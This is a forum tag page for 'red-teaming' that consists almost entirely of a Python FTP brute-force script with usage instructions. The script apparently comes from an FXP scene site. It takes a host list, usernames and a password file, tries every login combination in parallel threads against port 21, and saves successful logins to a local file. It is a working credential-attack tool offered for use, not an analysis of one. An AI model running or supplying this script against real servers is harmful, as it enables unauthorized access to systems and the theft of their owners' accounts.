Search the Community
Showing results for tags 'red-teaming'.
-
#!/usr/bin/python3 """ FTP-Bruteforcer 4 FXP-TERMiNAL.iNFO by SpliTerZ.tw!XX Faster than an ICE """ import socket import sys import threading import time def CheckForLogin(target,username,password): sock = socket.socket() sock.settimeout(0.45) try: server = (target,21) user = "USER "+username+"\r\n" pwd = "PASS "+password+"\r\n" sock.connect(server) sock.recv(4096) sock.sendall(user.encode()) sock.recv(4096) sock.sendall(pwd.encode()) answer = sock.recv(4096).decode('utf-8') if "230" in answer: open('bruted_ftp','a').write(target+":21 "+username+":"+password+"\n") print("[x][x][x][x][x] Success on IP: "+target+"![x][x]\n") sock.recvmsg(4096) elif "530" in answer: sock.close() sock.close() except: print("Login failed!\n") pass if sys.argv[1]: hosts = open(sys.argv[1]).read().splitlines() usernames = sys.argv[2].split(",") passwords = open(sys.argv[3]).read().splitlines() for host in hosts: for user in usernames: for password in passwords: T = threading.Thread(target=CheckForLogin,args=(host,user,password,)) if threading.active_count() <= int(sys.argv[4]): T.start() else: time.sleep(0.3) T.start() T.join() exit() Usage: python/python3 ftp-brute.py hostlist.txt user1,user2,user3,user4,... passwords.txt threadcount